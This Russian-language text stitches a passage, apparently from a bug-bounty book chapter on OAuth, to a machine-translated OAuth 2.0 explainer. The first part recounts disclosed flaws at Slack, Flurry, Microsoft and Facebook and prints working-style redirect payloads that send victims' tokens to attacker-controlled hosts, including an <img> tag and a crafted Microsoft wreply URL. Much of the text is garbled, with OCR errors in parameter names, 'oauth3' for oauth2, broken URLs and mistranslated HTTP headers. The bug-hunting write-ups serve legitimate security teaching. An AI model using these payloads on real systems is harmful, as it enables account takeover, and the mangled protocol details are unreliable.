, за счет добавления к нему любых значений. Иными словами, сайт Slack проверял лишь начало параметра redirect_uri
. Если разработчик регистрировал в Slack новое приложение и добавлял в белый список https://
, злоумышленник мог расширить этот URL-адрес и выполнить перенаправление в непредвиденное место. Например, измененный адрес вида redirect_uri=https://<
отклонялся, но позволял передать redirect_uri=https://
.
Чтобы этим воспользоваться, злоумышленнику было достаточно создать подходящий поддомен на своем вредоносном сайте. Если жертва открывала зараженный URL-адрес, сервер Slack передавал OAuth-токен сайту злоумышленника. Хакер мог инициировать запрос от имени жертвы, встроив во вредоносную веб‑страницу тег <
вроде такого:
<img src=https://slack.com/oauth/authonze?responseJype=token&dientJd=APP_ID&redirect_un=https://www.example.com.attacker.com>
Это позволило бы автоматически сделать HTTP-запрос типа GET при отображении страницы.
Выводы
Уязвимости, связанные с недостаточно строгой проверкой redirect_uri
, являются распространенным примером неправильной конфигурации OAuth. Иногда это вызвано тем, что в качестве допустимого значения redirect_uri
регистрируется домен вида *.<
. Иногда причина в том, что сервер ресурса не проводит строгую проверку параметра redirect_uri
от начала и до конца. При поиске уязвимостей в OAuth проверяйте любые параметры, которые могут участвовать в перенаправлении.
Прохождение аутентификации с паролем по умолчанию
Поиск уязвимостей в любой реализации OAuth подразумевает исследование всей процедуры аутентификации, от начала и до конца. Для этого в том числе необходимо распознать HTTP-запросы, которые не являются частью стандартного процесса; их наличие часто сигнализирует о том, что разработчик изменил механизм аутентификации и, возможно, сделал его уязвимым. Джек Кейбл столкнулся с подобной ситуацией в работе с программой Bug Bounty от Yahoo, в которую входил аналитический сайт Flurry.com.
Чтобы начать тестирование, Кейбл зарегистрировал учетную запись на сайте Flurry, используя свой адрес электронной почты @yahoo.
и реализацию OAuth от Yahoo. После того как Flurry и Yahoo согласовали OAuth-токен, заключительный POST-запрос к сайту Flurry выглядел так:
POST /auth/v1/account HTTP/1.1
Host: auth.flurry.com
Connection: close
Content-Length: 205
Content-Type: application/vnd.api+json
DNT: 1
Referer: https://login.flurry.com/signup
Accept-Language: en-US, en;q=0.8,la;q=0.6
{"data":{"type":"account","id":"...","attributes":{"email":"[email protected]","companyName":"1234","firstname":"]ack","lastname":"cable","password":"not-provided"}}}
Внимание Кейбла привлек фрагмент запроса "password":
. Выйдя из своей учетной записи, он открыл страницу https://login.flurry.com/ и аутентифицировался не через OAuth, а с помощью почтового адреса и пароля not-provided
. Это сработало, и Кейбл смог войти в свою учетную запись.
Когда пользователь регистрировался на сайте Flurry с помощью своей учетной записи Yahoo и процедуры OAuth, система создавала для него отдельную клиентскую учетную запись с паролем по умолчанию not-provided
. Кейбл сообщил об уязвимости, и проблема была устранена через пять часов.
Выводы
Нестандартные этапы OAuth часто плохо сконфигурированы и подвержены уязвимостям, поэтому заслуживают проверки.
Похищение токенов для входа на сайт Microsoft
На сайте Microsoft не реализована стандартная процедура OAuth, но там используется очень похожий процесс, который подходит для тестирования OAuth-приложений. Тестируя OAuth или аналогичные механизмы аутентификации, тщательно проанализируйте то, как проверяются параметры перенаправления. Для этого приложению можно передавать разные виды URL-адресов. Этот подход помог Джеку Уиттону найти в процедуре входа на сайт Microsoft способ похитить аутентификационные токены.
Компания Microsoft владеет множеством проектов, поэтому запросы для аутентификации пользователей на разных сервисах направляются разным доменам: login.
, login.
или login.
. Эти запросы возвращают пользователям сессии. Например, в случае с outlook.
процедура выглядит так:
Пользователь заходит на сайт https://outlook.office.com.
Пользователь перенаправляется к
https://login.microsoftonline.com/login.srf?wa=wsignin1.0&rpsnv=4&wreply=https%3a%2f%2fbutlook.office.com%2fowa%2f&id=260563
В случае успеха по адресу внутри
wreply
выполняется POST-запрос с параметромt
, который содержит токен для пользователя.
При попытке поменять wreply
на любой другой домен возникала ошибка. Уиттон попробовал передавать символы с двойным кодированием, добавляя в конец URL-адреса %252f
, чтобы получить https%3a%2f%2foutlook.
. В этом URL-адресе специальные символы :
и /
кодируются как %3a
и, соответственно, %2f
. Кроме того, в исходном адресе следует закодировать знак процента (%
), чтобы при двойном кодировании он превратился в косую черту %252f
(кодирование специальных символов обсуждалось в разделе «Разделение HTTP-ответа в Twitter» на с. 77). Когда Уиттон подставил вместо wreply
полученный URL-адрес, приложение вернуло ошибку, сообщающую, что адрес https://
некорректен.
Вслед за этим Уиттон добавил к домену @example.
и вместо ошибки получил https://
. Дело в том, что URL-адрес имеет следующую структуру:
[//[имя_пользователя:пароль@]домен[:порт]][/]путь[?запрос][#фрагмент]
Имя пользователя и пароль участвуют в базовой HTTP-аутентификации сайта. Поэтому после добавления @example.
домен для перенаправления больше не выглядел как outlook.
. Вместо этого пользователя можно было перенаправить к любому домену, который контролировался злоумышленником.
По словам Уиттона, причиной этой уязвимости было то, что сайт Microsoft выполнял декодирование и проверку URL-адреса в два этапа. На первом этапе сайт проверял, является ли доменное имя корректным и соответствует ли оно структуре URL-адреса. Адрес https://
успешно проходил проверку, поскольку строка outlook.
воспринималась как корректное имя пользователя.
На втором этапе сайт рекурсивно декодировал URL-адрес. Строкаhttps%3a%2f%2foutlook.
превращалась в https://
, то есть фрагмент @example.
после косой черты интерпретировался как часть пути, а доменное имя выглядело как outlook.
.
Сайт Microsoft проверял структуру URL-адреса, декодировал его и подтверждал его присутствие в белом списке. Но в качестве ответа возвращался адрес, декодированный один раз. То есть при посещении такого URL токен жертвы отправлялся сайту example.com.
https://login.microsoftonline.com/login.srf?wa=wsignin1.0&rpsnv=4&wreply=https%3a%2f%2foutlook.office.com%[email protected]&id=260563
Хакер, владевший этим сайтом, мог войти в сервис Microsoft, к которому относился полученный токен, и читать учетные записи других пользователей.
Выводы
В ходе исследования параметров перенаправления в процедуре OAuth добавьте к конечному URI-адресу @example.
и посмотрите, как поведет себя приложение. Это особенно актуально, если в процессе аутентификации используются закодированные символы, которые должны быть декодированы перед проверкой вхождения URL-адреса в белый список. Во время тестирования обращайте внимание на незначительные изменения в поведении сайта.
Похищение официальных токенов доступа на сайте Facebook
При поиске уязвимостей обращайте внимание на ресурсы интересующего вас приложения, о которых разработчики могли забыть. Филиппе Хэйрвуд поставил перед собой цель: похитить токен пользователя Facebook и получить доступ к его конфиденциальной информации. Однако ему не удалось найти никаких ошибок в реализации OAuth на сайте Facebook. Не отчаявшись, он поменял свой план и начал искать приложение Facebook, которое можно захватить как поддомен.
Он знал, что Facebook владеет приложениями, которые автоматически авторизуются с помощью OAuth, используя учетные записи этой платформы. С их списком можно было ознакомиться на странице https://www.facebook.com/search/me/apps-used/.
В списке Хэйрвуд нашел один проект, который по‑прежнему был авторизован, хотя компания Facebook им больше не владела и не использовала его домен. Это означало, что Хэйрвуд мог зарегистрировать одобренное доменное имя в качестве параметра redirect_uri
и получить токен любого пользователя Facebook, который посещал конечную точку авторизации OAuth:
https://facebook.com/v2.5/dialog/oauth?response_type=token&display=popup&clientJd=APP_ID&redirect_uri=REDIRECT_URI/
В этом URL-адресе идентификатор уязвимого приложения обозначен в виде параметра APP_ID
, который предоставлял доступ ко всем областям видимости OAuth. Домен, входивший в белый список, обозначен как REDIRECT_URI
(Хэйрвуд не уточнил, какое именно приложение было неправильно сконфигурировано). Поскольку приложение уже было авторизовано для каждой учетной записи Facebook, при щелчке по этой ссылке пользователю не нужно было подтверждать запрашиваемые области видимости. Кроме того, вся процедура OAuth выполнялась посредством фоновых HTTP-запросов. Открыв этот URL-адрес для аутентификации на сайте Facebook, пользователь перенаправлялся к странице с подобным адресом http://
.
Поскольку Хэйрвуд зарегистрировал домен REDIRECT_URI
, он мог записывать токены любых пользователей, открывавших этот URL-адрес, что давало ему доступ к их учетным записям на сайте Facebook. Кроме того, все официальные токены Facebook имели доступ к другим приложениям этой компании, таким как Instagram. В итоге Хэйрвуд мог аутентифицироваться на этих сайтах от имени жертвы.
Выводы
При поиске уязвимостей обращайте внимание на ресурсы, о которых могли забыть владельцы сайта. Иногда это могут быть записи CNAME для поддоменов и зависимости приложений, такие как Ruby Gems, библиотеки JavaScript и т. д. Перед началом тестирования ставьте перед собой четкую цель. В ходе исследования крупного приложения это позволит не отвлекаться на проверку его бесчисленных аспектов.
Итоги
Несмотря на то что процедура аутентификации OAuth является стандартизированной, разработчики могут допустить ошибку в ее конфигурации. Неочевидные уязвимости позволяют злоумышленнику похитить токены авторизации и получить доступ к конфиденциальным данным жертвы. Исследуя приложения с поддержкой OAuth, тщательно исследуйте параметр redirect_uri
, чтобы понять, несколько корректно приложение его проверяет при отправке токенов. Ищите нестандартные механизмы аутентификации на основе процедуры OAuth, которые подвержены уязвимостям. Если вам не удается найти ничего подозрительного, не забудьте проверить одобренные ресурсы. Возможно, разработчики забыли о каком‑то приложении, которому клиент доверяет по умолчанию.
Что, черт возьми, такое OAuth?
Есть много путаницы в отношении того, что на самом деле означает OAuth.
Некоторые люди думают, что OAuth — это процесс входа в систему (например, когда вы входите в приложение с помощью входа в Google), а некоторые люди думают о OAuth как о «элементе безопасности» , и на самом деле не знают ничего большего, чем это.
Я собираюсь показать вам, что такое OAuth, объяснить, как он работает, и, надеюсь, оставлю вас с пониманием того, как и где OAuth может помочь вашему приложению.
Что такое OAuth?
Для начала, OAuth — это , а не API или служба: это открытый стандарт авторизации, и любой может его реализовать.
В частности, OAuth — это стандарт, который приложения могут использовать для предоставления клиентским приложениям «безопасного делегированного доступа». OAuth работает через HTTPS и авторизует устройства, API, серверы и приложения с помощью токенов доступа, а не учетных данных.
Существует две версии OAuth: OAuth 1.0a и OAuth 2.0. Эти спецификации полностью отличаются друг от друга и не могут использоваться вместе: между ними нет , нет обратной совместимости.
Какой из них более популярен? Отличный вопрос! В настоящее время OAuth 2.0 является наиболее широко используемой формой OAuth. Итак, с этого момента, когда я говорю «OAuth» , я говорю об OAuth 2.0, поскольку это, скорее всего, то, что вы будете использовать.
Почему OAuth?
OAuth был создан как ответ на шаблон прямой аутентификации.Этот шаблон стал известен благодаря базовой аутентификации HTTP, когда пользователю предлагается ввести имя пользователя и пароль. Базовая проверка подлинности по-прежнему используется в качестве примитивной формы проверки подлинности API для серверных приложений: вместо отправки имени пользователя и пароля на сервер с каждым запросом пользователь отправляет идентификатор ключа API и секрет. До OAuth сайты предлагали вам ввести имя пользователя и пароль прямо в форму, и они входили в ваши данные (например, в вашу учетную запись Gmail) как вы.Это часто называют анти-шаблоном пароля.
Чтобы создать лучшую систему для Интернета, была создана федеративная идентификация для единого входа (SSO). В этом сценарии конечный пользователь разговаривает со своим поставщиком удостоверений, и поставщик удостоверений генерирует криптографически подписанный токен, который передает приложению для аутентификации пользователя. Приложение доверяет поставщику удостоверений. Пока эти доверительные отношения работают с подписанным утверждением, все в порядке. На схеме ниже показано, как это работает.
Федеративная идентификациястала известной благодаря SAML 2.0, стандарту OASIS, выпущенному 15 марта 2005 года. Это обширная спецификация, но основными двумя компонентами являются протокол запроса аутентификации (он же Web SSO) и способ упаковки атрибутов идентификации и их подписи называется утверждениями SAML. Okta делает это с помощью своих шиклетов SSO. Мы отправляем сообщение, мы подписываем утверждение, внутри утверждения написано, кто пользователь, и что оно пришло из Okta. Поставьте на него цифровую подпись, и все готово.
САМЛ
SAML — это, по сути, файл cookie сеанса в вашем браузере, который дает вам доступ к веб-приложениям. Он ограничен по типам профилей устройств и сценариям, которые вы, возможно, захотите использовать за пределами веб-браузера.
Когда SAML 2.0 был запущен в 2005 году, это имело смысл. Однако с тех пор многое изменилось. Теперь у нас есть современные веб-платформы и платформы для разработки нативных приложений. Существуют одностраничные приложения (SPA), такие как Gmail / Google Inbox, Facebook и Twitter. Их поведение отличается от поведения вашего традиционного веб-приложения, поскольку они выполняют AJAX (фоновые HTTP-вызовы) к API.Мобильные телефоны также выполняют вызовы API, как и телевизоры, игровые консоли и устройства Интернета вещей. Система единого входа на базе SAML не очень хороша для этого.
OAuth и API
Многое изменилось и в том, как мы создаем API. В 2005 году люди инвестировали в WS- * для создания веб-сервисов. Теперь большинство разработчиков перешли на REST и API без сохранения состояния. Вкратце, REST — это HTTP-команды, передающие пакеты JSON по сети.
Разработчики создают множество API. Экономика API — это обычное модное слово, которое сегодня можно услышать в залах заседаний.Компаниям необходимо защищать свои REST API таким образом, чтобы к ним могли получить доступ многие устройства. Раньше вы вводили каталог со своим именем пользователя и паролем, и приложение входило в систему напрямую от вашего имени. Это привело к проблеме делегированной авторизации.
«Как я могу разрешить приложению доступ к моим данным, не сообщая при этом свой пароль?»
Если вы когда-нибудь видели один из приведенных ниже диалогов, мы говорим именно об этом. Это приложение, которое спрашивает, может ли оно получить доступ к данным от вашего имени.
Это OAuth.
OAuth — это платформа делегированной авторизации для REST / API. Это позволяет приложениям получать ограниченный доступ (области) к данным пользователя, не раскрывая пароль пользователя. Он отделяет аутентификацию от авторизации и поддерживает несколько вариантов использования, касающихся различных возможностей устройства. Он поддерживает межсерверные приложения, приложения на основе браузера, мобильные / нативные приложения и консоли / телевизоры.
Вы можете думать об этом как о карточках-ключах от отелей, но только для приложений.Если у вас есть ключ-карта отеля, вы можете попасть в свой номер. Как получить ключ-карту от отеля? Вы должны пройти аутентификацию на стойке регистрации, чтобы получить его. После аутентификации и получения ключа-карты вы можете получить доступ к ресурсам на всей территории отеля.
Проще говоря, OAuth — это где:
- Приложение запрашивает авторизацию у пользователя
- Пользователь авторизует приложение и предоставляет доказательство Приложение
- представляет подтверждение авторизации серверу для получения токена Маркер
- ограничен для доступа только к тому, что Пользователь авторизовал для конкретного приложения
Центральные компоненты OAuth
OAuth построен на следующих центральных компонентах:
- Объем и согласие
- Актеры
- Клиенты
- жетонов
- Сервер авторизации
- Потоки
Области действия OAuth
Области — это то, что вы видите на экранах авторизации, когда приложение запрашивает разрешения.Это пакеты разрешений, запрашиваемые клиентом при запросе токена. Они кодируются разработчиком приложения при написании приложения.
Области отделяют решения политики авторизации от принудительного исполнения. Это первый ключевой аспект OAuth. Разрешения передние и центральные. Они не скрыты за слоем приложения, который вам нужно перепроектировать. Они часто упоминаются в документации по API: вот области, которые требуются для этого приложения.
Вы должны получить это согласие.Это называется доверием при первом использовании. Это довольно значительное изменение пользовательского опыта в Интернете. Большинство людей до OAuth использовалось только для ввода имени и пароля в диалоговых окнах. Теперь у вас есть новый экран, который появляется, и вам нужно научить пользователей пользоваться им. Переучить интернет-население сложно. Есть самые разные пользователи, от технически подкованной молодежи до бабушек и дедушек, которые не знакомы с этим процессом. Это новая концепция в Интернете, которая теперь находится в центре внимания. Теперь вам нужно авторизовать и принести согласие.
Согласие может варьироваться в зависимости от приложения. Это может быть диапазон, зависящий от времени (день, недели, месяцы), но не все платформы позволяют выбрать продолжительность. Когда вы даете согласие, нужно следить за тем, чтобы приложение могло делать что-то от вашего имени, например LinkedIn рассылает спам всем в вашей сети.
OAuth — это масштабируемое интернет-решение, поскольку оно предназначено для каждого приложения. Часто у вас есть возможность войти в панель управления, чтобы увидеть, к каким приложениям вам предоставлен доступ, и отозвать согласие.
Актеры OAuth
Действующие лица в потоках OAuth следующие:
- Владелец ресурса : владеет данными на сервере ресурсов. Например, я владелец ресурса своего профиля в Facebook.
- Сервер ресурсов : API, который хранит данные, к которым приложение хочет получить доступ
- Клиент : приложение, которое хочет получить доступ к вашим данным
- Сервер авторизации : основной механизм OAuth
Владелец ресурса — это роль, которая может меняться с разными учетными данными.Это может быть конечный пользователь, но также может быть компания.
Клиенты могут быть публичными и конфиденциальными. В номенклатуре OAuth существует существенное различие между ними. Конфиденциальным клиентам можно доверить хранение секретов. Они не работают на компьютере и не распространяются через магазин приложений. Люди не могут перепроектировать их и получить секретный ключ. Они работают в защищенной зоне, где конечные пользователи не могут получить к ним доступ.
Общедоступные клиенты — это браузеры, мобильные приложения и устройства Интернета вещей.
Регистрация клиента также является ключевым компонентом OAuth. Это похоже на DMV OAuth. Вам необходимо получить номерной знак для вашего приложения. Вот как логотип вашего приложения отображается в диалоговом окне авторизации.
токенов OAuth
Маркер доступа — это маркер, который клиент использует для доступа к серверу ресурсов (API). Они должны быть недолговечными. Думайте о них в часах и минутах, а не днях и месяцах. Для получения токена доступа вам не нужен конфиденциальный клиент.Вы можете получить токены доступа с публичными клиентами. Они созданы для решения проблем с масштабированием Интернета. Поскольку эти токены могут быть недолговечными и масштабироваться, их нельзя отозвать, вам просто нужно подождать, пока они истекут.
Другой токен — это токен обновления. Это намного дольше; дни, месяцы, годы. Это можно использовать для получения новых токенов. Чтобы получить токен обновления, приложениям обычно требуются конфиденциальные клиенты с аутентификацией.
Жетоны обновления могут быть отозваны.Отменяя доступ к приложению на панели инструментов, вы убиваете его токен обновления. Это дает вам возможность заставить клиентов менять секреты. Вы используете свой токен обновления для получения новых токенов доступа, а токены доступа проходят по сети, чтобы поразить все ресурсы API. Каждый раз, когда вы обновляете свой токен доступа, вы получаете новый токен с криптографической подписью. Ротация ключей встроена в систему.
Спецификация OAuth не определяет, что такое токен. Он может быть в любом формате.Однако обычно вы хотите, чтобы эти токены были веб-токенами JSON (стандарт). Вкратце, JWT (произносится как «джот») — это безопасный и заслуживающий доверия стандарт аутентификации токена. JWT позволяют подписывать информацию цифровой подписью (называемой утверждениями) с помощью подписи и могут быть проверены позже с помощью секретного ключа подписи. Чтобы узнать больше о JWT, см. Руководство для начинающих по JWT в Java.
токенов получены с конечных точек на сервере авторизации. Две основные конечные точки — это конечная точка авторизации и конечная точка токена.Они разделены для разных сценариев использования. Конечная точка авторизации — это то место, куда вы переходите, чтобы получить согласие и авторизацию от пользователя. Это возвращает разрешение на авторизацию, в котором говорится, что пользователь согласился на это. Затем авторизация передается конечной точке токена. Конечная точка токена обрабатывает грант и говорит: «Отлично, вот ваш токен обновления и ваш токен доступа».
Вы можете использовать токен доступа для доступа к API. Когда он истечет, вам нужно будет вернуться к конечной точке токена с токеном обновления, чтобы получить новый токен доступа.
Обратной стороной является сильное трение проявителя. Одна из самых больших проблем OAuth для разработчиков — это необходимость управлять токенами обновления. Вы передаете управление состоянием каждому клиентскому разработчику. Вы получаете преимущества ротации ключей, но только что доставили много хлопот разработчикам. Вот почему разработчики любят ключи API. Они могут просто скопировать / вставить их, вставить в текстовый файл и покончить с ними. Ключи API очень удобны для разработчика, но очень вредны для безопасности.
Здесь проблема с оплатой. Если заставить разработчиков выполнять потоки OAuth, повышается безопасность, но возникает больше трений. Наборы инструментов и платформы позволяют упростить работу и помочь с управлением токенами. К счастью, в наши дни OAuth достаточно развит, и, скорее всего, в вашем любимом языке или фреймворке есть инструменты для упрощения.
Мы немного поговорили о типах клиентов, типах токенов и конечных точках сервера авторизации, а также о том, как передать это на сервер ресурсов.Я упомянул два разных потока: получение авторизации и получение токенов. Это не обязательно должно происходить на одном канале. Передний канал — это то, что проходит через браузер. Браузер перенаправил пользователя на сервер авторизации, пользователь дал согласие. Это происходит в браузере пользователя. Как только пользователь берет это разрешение на авторизацию и передает его приложению, клиентскому приложению больше не нужно использовать браузер для завершения потока OAuth для получения токенов.
Маркеры предназначены для использования клиентским приложением, чтобы оно могло получать доступ к ресурсам от вашего имени.Мы называем это обратным каналом. Обратный канал — это HTTP-вызов непосредственно от клиентского приложения к серверу ресурсов для обмена предоставлением авторизации для токенов. Эти каналы используются для разных потоков в зависимости от возможностей вашего устройства.
Например, поток переднего канала, в котором вы авторизуетесь через пользовательский агент, может выглядеть следующим образом:
- Владелец ресурса запускает поток для делегирования доступа к защищенному ресурсу
- Клиент отправляет запрос авторизации с желаемыми областями через перенаправление браузера на конечную точку авторизации на сервере авторизации Сервер авторизации
- возвращает диалоговое окно согласия с вопросом «разрешаете ли вы этому приложению доступ к этим областям?» Конечно, вам потребуется пройти аутентификацию в приложении, поэтому, если вы не прошли аутентификацию на своем сервере ресурсов, вам будет предложено войти в систему.Если у вас уже есть кэшированный файл cookie сеанса, вы просто увидите диалоговое окно согласия. Просмотрите диалоговое окно согласия и согласитесь.
- Разрешение на авторизацию передается обратно в приложение через перенаправление браузера. Все это происходит на переднем канале.
В этом потоке также есть отклонение, называемое неявным потоком. Мы вернемся к этому через минуту.
Вот как это выглядит на проводе.
Запрос | ПОЛУЧИТЕ учетные записи https: //.google.com/o/oauth3/auth?scope=gmail.insert gmail.send & redirect_uri = https: //app.example.com/oauth3/callback & response_type = код & client_id = 812741506391 & state = af0ifjsldkj Это запрос GET с кучей параметров запроса (например, не в кодировке URL). Области действия взяты из API Gmail. Redirect_uri — это URL-адрес клиентского приложения, которому должно быть возвращено разрешение на авторизацию. Это должно соответствовать значению из процесса регистрации клиента (в DMV).Вы не хотите, чтобы авторизация возвращалась стороннему приложению. Тип ответа зависит от потоков OAuth. Идентификатор клиента также получен из процесса регистрации. Состояние — это флаг безопасности, аналогичный XRSF. Чтобы узнать больше о XRSF, см. «Объяснение подделки межсайтовых запросов» от DZone. |
Ответ | HTTP / 1.1 302 Найдено Расположение: https://app.example.com/oauth3/callback? код = MsCeLvIaQm6bTrgtp7 и состояние = af0ifjsldkj Возвращаемый код |
После завершения работы с передним каналом происходит поток по обратному каналу, в котором код авторизации обменивается на токен доступа.
Клиентское приложение отправляет запрос маркера доступа конечной точке маркера на сервере авторизации с конфиденциальными учетными данными и идентификатором клиента. Этот процесс обменивает предоставление кода авторизации на токен доступа и (необязательно) токен обновления. Клиент получает доступ к защищенному ресурсу с помощью токена доступа.
Ниже показано, как это выглядит в чистом HTTP.
Запрос | POST / oauth3 / v3 / токен HTTP / 1.1 Хост: www.googleapis.com Тип содержимого: application / x-www-form-urlencoded code = MsCeLvIaQm6bTrgtp7 & client_id = 812741506391 & client_secret = {client_secret} & redirect_uri = https: //app.example.com/oauth3/callback&grant_type=authorization_code grant_type — это расширяемая часть OAuth. Это код авторизации с заранее вычисленной точки зрения. Это дает возможность по-разному описывать эти гранты.Это наиболее распространенный тип потока OAuth. |
Ответ | { "access_token": "2YotnFZFEjr1zCsicMWpAA", "token_type": "На предъявителя", "expires_in": 3600, "refresh_token": "tGzv3JOkF0XG5Qx2TlKWIA" } Ответ — JSON. Вы можете реагировать или активно использовать токены. Проактивно иметь таймер в вашем клиенте. Реактивный — это отловить ошибку и затем попытаться получить новый токен. |
Если у вас есть маркер доступа, вы можете использовать маркер доступа в заголовке аутентификации (используя token_type
в качестве префикса) для выполнения защищенных запросов ресурсов.
curl -H "Авторизация: предъявитель 2YotnFZFEjr1zCsicMWpAA" \
https://www.googleapis.com/gmail/v1/users/1444587525/messages
Итак, теперь у вас есть передний канал, задний канал, разные конечные точки и разные клиенты. Вы должны смешивать и сопоставлять их для разных случаев использования. Это повышает сложность OAuth и может сбивать с толку.
Потоки OAuth
Самый первый поток — это то, что мы называем неявным потоком . Причина, по которой это называется неявным потоком, заключается в том, что все взаимодействие происходит через браузер.Нет никакого внутреннего сервера, который использовал бы разрешение на авторизацию для токена доступа. SPA — хороший пример использования этого потока. Этот поток также называется двухсторонним протоколом OAuth.
Неявный поток оптимизирован для общедоступных клиентов, работающих только в браузере. Маркер доступа возвращается непосредственно из запроса авторизации (только передний канал). Обычно он не поддерживает токены обновления. Предполагается, что владелец ресурса и публичный клиент находятся на одном устройстве. Поскольку все происходит в браузере, он наиболее уязвим для угроз безопасности.
Золотым стандартом является поток кода авторизации , также известный как 3 Legged, который использует как передний, так и задний канал. Это то, о чем мы больше всего говорили в этой статье. Поток переднего канала используется клиентским приложением для получения кода авторизации. Обратный канал используется клиентским приложением для обмена предоставленного кода авторизации на токен доступа (и, возможно, на токен обновления). Предполагается, что владелец ресурса и клиентское приложение находятся на разных устройствах.Это наиболее безопасный поток, потому что вы можете аутентифицировать клиента для погашения разрешения на авторизацию, а токены никогда не проходят через пользовательский агент. Существуют не только потоки неявного кода и кода авторизации, но и дополнительные потоки, которые можно выполнять с помощью OAuth. Опять же, OAuth — это скорее фреймворк.
Для сценариев «сервер-сервер» вы можете использовать Client Credential Flow . В этом сценарии клиентское приложение является конфиденциальным клиентом, который действует самостоятельно, а не от имени пользователя.Это скорее сценарий служебного аккаунта. Все, что вам нужно, это учетные данные клиента для выполнения всего процесса. Это только обратный канал для получения токена доступа с использованием учетных данных клиента. Он поддерживает общие секреты или утверждения в качестве учетных данных клиента, подписанных симметричными или асимметричными ключами.
Алгоритмы с симметричным ключом — это криптографические алгоритмы, которые позволяют расшифровать что угодно, если у вас есть пароль. Это часто встречается при защите файлов PDF или .zip.
Криптография с открытым ключом или асимметричная криптография — это любая криптографическая система, использующая пары ключей: открытые ключи и частные ключи. Открытые ключи может прочитать кто угодно, закрытые ключи священны для владельца. Это позволяет обеспечить безопасность данных без необходимости сообщать пароль.
Существует также устаревший режим под названием Resource Owner Password Flow . Это очень похоже на прямую аутентификацию с использованием имени пользователя и пароля и не рекомендуется. Это устаревший тип предоставления для собственных приложений с именем пользователя и паролем, например для настольных приложений.В этом потоке вы отправляете клиентскому приложению имя пользователя и пароль, и оно возвращает маркер доступа с сервера авторизации. Обычно он не поддерживает токены обновления и предполагает, что владелец ресурса и общедоступный клиент находятся на одном устройстве. Когда у вас есть API, который хочет говорить только по OAuth, но у вас есть клиенты старой школы, с которыми нужно иметь дело.
Более поздним дополнением к OAuth является поток утверждения , который аналогичен потоку учетных данных клиента. Это было добавлено, чтобы раскрыть идею федерации.Этот поток позволяет серверу авторизации доверять разрешениям на авторизацию от третьих сторон, таких как SAML IdP. Сервер авторизации доверяет поставщику удостоверений. Утверждение используется для получения токена доступа от конечной точки токена. Это отлично подходит для компаний, которые инвестировали в технологии SAML или SAML, и позволяют им интегрироваться с OAuth. Поскольку утверждения SAML недолговечны, в этом потоке нет токенов обновления, и вам придется получать токены доступа каждый раз, когда истекает срок действия утверждения.
Отсутствует в спецификации OAuth, это Device Flow . Нет веб-браузера, только контроллер для чего-то вроде телевизора. Код пользователя возвращается из запроса авторизации, который необходимо активировать, посетив URL-адрес на устройстве с браузером для авторизации. Поток обратного канала используется клиентским приложением для опроса на предмет утверждения авторизации для токена доступа и, при необходимости, токена обновления. Также популярен среди клиентов CLI.
Мы рассмотрели шесть различных потоков с использованием разных участников и типов токенов.Они необходимы из-за возможностей клиентов, из-за того, как нам нужно было получить согласие от клиента, который дает согласие, а это добавляет много сложностей в OAuth.
Когда люди спрашивают, поддерживаете ли вы OAuth, вы должны пояснить, о чем они просят. Спрашивают, поддерживаете ли вы все шесть потоков или только основные? Между всеми различными потоками существует большая степень детализации.
Безопасность и предприятие
OAuth имеет большую площадь.Благодаря неявному потоку существует множество перенаправлений и много места для ошибок. Многие люди пытались использовать OAuth между приложениями, и это легко сделать, если не следовать рекомендованным правилам Web Security 101. Например:
- Всегда используйте токен CSRF с параметром состояния
- Всегда добавлять URI перенаправления в белый список для обеспечения правильной проверки URI
- Привяжите одного и того же клиента к разрешениям на авторизацию и запросам токенов с идентификатором клиента
- Для конфиденциальных клиентов, убедитесь, что секреты клиентов не разглашаются.Не храните секреты клиента в своем приложении, которое распространяется через App Store!
Самая большая жалоба на OAuth в целом исходит от специалистов службы безопасности. Речь идет о токенах на предъявителя и о том, что они могут передаваться так же, как файлы cookie сеанса. Вы можете передать его, и все готово, он криптографически не привязан к пользователю. Использование JWT помогает, потому что их невозможно изменить. Однако, в конце концов, JWT — это просто строка символов, поэтому их можно легко скопировать и использовать в заголовке Authorization
.
Примеры использования Enterprise OAuth 2.0
OAuth отделяет ваши решения по политике авторизации от аутентификации. Он обеспечивает правильное сочетание мелкозернистой и крупнозернистой авторизации. Он может заменить традиционные политики управления веб-доступом (WAM). Он также отлично подходит для ограничения и отмены разрешений при создании приложений, которые могут обращаться к определенным API. Это гарантирует, что только управляемые и / или совместимые устройства могут получить доступ к определенным API. Он имеет глубокую интеграцию с рабочими процессами деинициализации удостоверений для отзыва всех токенов у пользователя или устройства.Наконец, он поддерживает федерацию с поставщиком удостоверений.
OAuth не является протоколом аутентификации
Подведем итог некоторым ошибочным представлениям об OAuth 2.0: он не имеет обратной совместимости с OAuth 1.0. Он заменяет подписи на HTTPS для всех коммуникаций. Когда сегодня говорят об OAuth, они имеют в виду OAuth 2.0.
Поскольку OAuth — это структура авторизации, а не протокол, у вас могут возникнуть проблемы с совместимостью. Существует множество вариантов реализации OAuth в группах, и вам может потребоваться специальный код для интеграции с поставщиками.
OAuth 2.0 не является протоколом аутентификации. Об этом даже говорится в документации.
Мы все время говорили о делегированной авторизации. Дело не в аутентификации пользователя, и это ключевой момент. Сам по себе OAuth 2.0 абсолютно ничего не говорит о пользователе. У вас просто есть токен для доступа к ресурсу.
За последние несколько лет в OAuth произошло огромное количество дополнений. Они снова усложняют OAuth для выполнения различных корпоративных сценариев.Например, JWT можно использовать в качестве взаимодействующих токенов, которые можно подписать и зашифровать.
Псевдо-аутентификация с помощью OAuth 2.0
Вход с помощью OAuth стал известен благодаря Facebook Connect и Twitter. В этом потоке клиент обращается к конечной точке / me
с токеном доступа. Все, что он говорит, это то, что у клиента есть доступ к ресурсу с токеном. Люди изобрели эту фальшивую конечную точку как способ вернуть профиль пользователя с токеном доступа. Это нестандартный способ получить информацию о пользователе.В стандартах нет ничего, что говорило бы, что каждый должен реализовать эту конечную точку. Маркеры доступа должны быть непрозрачными. Они предназначены для API и не предназначены для хранения пользовательской информации.
То, что вы действительно пытаетесь ответить с помощью аутентификации, — это , кто является пользователем, , когда аутентифицировал пользователя, и , как аутентифицировал пользователя. Обычно вы можете ответить на эти вопросы с помощью утверждений SAML, а не с помощью маркеров доступа и грантов авторизации.Вот почему мы называем это псевдо-аутентификацией.
Введите OpenID Connect
Чтобы решить проблему псевдо-аутентификации, лучшие части OAuth 2.0, Facebook Connect и SAML 2.0 были объединены для создания OpenID Connect. OpenID Connect (OIDC) расширяет OAuth 2.0 новым подписанным идентификатором id_token
для клиента и конечной точкой UserInfo
для получения атрибутов пользователя. В отличие от SAML, OIDC предоставляет стандартный набор областей и требований для идентификаторов. Примеры: профиль
, электронная почта
, адрес
и телефон
.
